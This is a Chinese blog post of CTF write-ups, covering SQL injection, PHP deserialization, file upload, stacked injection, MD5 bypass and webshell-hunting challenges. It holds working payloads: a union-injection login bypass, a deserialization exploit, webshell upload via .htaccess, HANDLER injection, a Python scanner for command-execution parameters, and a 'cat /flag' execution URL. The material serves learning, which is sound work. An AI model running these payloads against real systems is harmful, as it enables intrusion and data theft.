[GXYCTF2019]BabySQli 这题曾经遇到过,查看源码:
1 2 3 4 if ($arr[1 ] == "admin" ){ if (md5($password) == $arr[2 ]){ echo $flag; }
这里是关键,首先是账号等于admin,接下来是输入的密码等于查询到的密码,我们知道union联合查询如果是本来数据库当中没有的值 则会先新建一个,那么这里我们就利用这点, paylaod:
1 name=-1'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
此时查询到的就是我们注入的这个admin里面的密码了
[网鼎杯 2020 青龙组]AreUSerialz 这是一题反序列化的题,最近刚学完,趁热打铁做做
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 include ("flag.php" );highlight_file(__FILE__ ); class FileHandler { protected $op; protected $filename; protected $content; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process(); } public function process ( ) { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res); } else { $this ->output("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen((string )$this ->content) > 100 ) { $this ->output("Too long!" ); die (); } $res = file_put_contents($this ->filename, $this ->content); if ($res) $this ->output("Successful!" ); else $this ->output("Failed!" ); } else { $this ->output("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents($this ->filename); } return $res; } private function output ($s ) { echo "[Result]: <br>" ; echo $s; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } } function is_valid ($s ) { for ($i = 0 ; $i < strlen($s); $i++) if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125 )) return false ; return true ; } if (isset ($_GET{'str' })) { $str = (string )$_GET['str' ]; if (is_valid($str)) { $obj = unserialize($str); } }
1.在read()方法中看到一个file_get_contents()函数,所以接下来就看看如何靠拢 2.很明显。。。主要是op要为2即可进入read()当中
这里有个参数很奇怪,是个protect参数:这里需要我们学习一下protect属性的参数private类型在序列化的格式为:%00类名%00 *protected为:%00 %00变量**
exp 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file(__FILE__ ); class FileHandler { public $op = 2 ; public $filename ="flag.php" ; public $content="2" ; } $a = new FileHandler(); $b = serialize($a); echo ($b);?>
考点1: 在function中的__destruct使用强比较,比较op的值是否为2,所以此时我们需要绕过,由于比较的是“2”这是一个字符串,所以我们可以传入一个int类型的数据2,这样就可以绕过了。考点2: 开头对于op,filename等变量的值的属性是protect,当我们打印出来以后,是 * 的如果我们直接复制粘贴到url中,这个是会被自动删除的,所以需要加个\00但是由于它那边有个is_valid的函数,所以这边就会过滤,改成其他师父们说%00,我也觉得按理说这个也是可以的,但是不知道为啥没有结果?所以感觉很奇怪 所以绕过点在这: **在php7.1+对类属性的检测不严格,所以可以用public来绕过 **
[MRCTF2020]你传你🐎呢 这个文件上传不会难 1.MIME类型更改为image/jpeg类型 2.上传一句话木马,后缀改为jpg 3.上传.htaccess:
1 SetHandler application/x-httpd-php
/var/www/html/upload/102a52cfbbd15e8c5b5f294d84090158/12 (2).jpg succesfully uploaded! /var/www/html/upload/102a52cfbbd15e8c5b5f294d84090158/.htaccess succesfully uploaded!
获得以上路径
1 flag{1f5f9c64-a2c2-4f6d-96f2-a18df9744090}
[GYCTF2020]Blacklist 本题考查的依旧是堆叠注入:
1 2 3 4 set @sql=concat('s','elect `flag` from `FLAGHere`');PREPARE stmt1 FROM @sql;EXECUTE stmt1; 1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `FlagHere` ');EXECUTE hacker;#
由于过滤了很多 所以以上内容都用不了 这里查到了一种新方法:
mysql查询语句-handler mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。 HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。2 基本语法
1 2 3 4 5 6 7 8 9 10 11 handler语句的语法如下: HANDLER tbl_name OPEN [ [AS] alias] HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。 通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。 通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。
通过索引列指定一个值,可以指定从哪一行开始。 通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。
如果我们不想浏览一个表的所有行,可以使用where和limit子句。
所以这里的payload:
1 0';use supersqli;handler FlagHere open;Handler FlagHere read first;
参考:https://blog.csdn.net/JesseYoung/article/details/40785137
[MRCTF2020]Ez_bypass 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 include 'flag.php' ;$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ; if (isset ($_GET['gg' ])&&isset ($_GET['id' ])) { $id=$_GET['id' ]; $gg=$_GET['gg' ]; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step' ; if (isset ($_POST['passwd' ])) { $passwd=$_POST['passwd' ]; if (!is_numeric($passwd)) { if ($passwd==1234567 ) { echo 'Good Job!' ; highlight_file('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); } }Please input first
[强网杯 2019]高明的黑客 还没遇到这种题,所以一开始看得眼花缭乱的 下载一个7-zip将www.tar.gz解压缩出来就行,解压缩出来以后看到很多代码 并且看到很多getshell的语句这里考查的就是编写脚本的能力:
这里贴一个大佬的python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import osimport requestsimport reimport threadingimport timeprint('开始时间: ' + time.asctime( time.localtime(time.time()) )) s1=threading.Semaphore(100 ) filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False def get_content (file ): s1.acquire() print('trying ' +file+ ' ' + time.asctime( time.localtime(time.time()) )) with open(file,encoding='utf-8' ) as f: gets = list(re.findall('\$_GET\[\'(.*?)\'\]' , f.read())) posts = list(re.findall('\$_POST\[\'(.*?)\'\]' , f.read())) data = {} params = {} for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/src/' +file req = session.post(url, data=data, params=params) req.close() req.encoding = 'utf-8' content = req.text if "xxxxxx" in content: flag = 0 for a in gets: req = session.get(url+'?%s=' %a+"echo 'xxxxxx';" ) content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1 : for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';" }) content = req.text req.close() if "xxxxxx" in content: break if flag == 1 : param = a else : param = b print('找到了利用文件: ' +file+" and 找到了利用的参数:%s" %param) print('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start()
作为一个菜鸡,我觉得从最简单的开始写起,希望能学到点东西:
1 2 3 4 5 6 import osimport requestsfilePath=r"C:\Users\10452\Desktop\src" files = os.listdir(filePath) print(len(files))
1 2 3 4 5 with open(file,encoding='utf-8' ) as f: gets=list(re.findall('\$_GET\[\'(.*?)\'\]' , f.read())) posts = list(re.findall('\$_POST\[\'(.*?)\'\]' , f.read()))
1 2 with open('路径' ,'r' )as f: print(f.read())
这里尝试一下:
1 2 3 4 5 6 7 import os filePath=r"C:\Users\10452\Desktop\src" files = os.listdir(filePath) file=filePath+"\\" +files[0 ] print (file)with open(file,encoding="utf-8" ) as f: print (f.read())
正则 re.findall 的简单用法(返回string中所有与pattern相匹配的全部字串,返回形式为数组) 语法:
1 2 3 4 //re.findall(pattern, string, flags = 0 ) import rea="asdasd" print(re.findall("asd" ,a))
设置线程
1 2 3 4 import threadings1=threading.Semaphore(100 ) requests.adapters.DEFAULT_RETRIES = 5 s1.acquire()
semaphore学习:https://my.oschina.net/u/3524921/blog/920303
没学过也就这几个了,接下来上手复写一下: 感受一下大佬的代码,python还是需要继续学习!
有个槽点:这里的system针对的是linux系统内的echo 所以需要更换一下
这里是payload
1 /xk0SzyKwfzw.php?Efa5BVG=cat /flag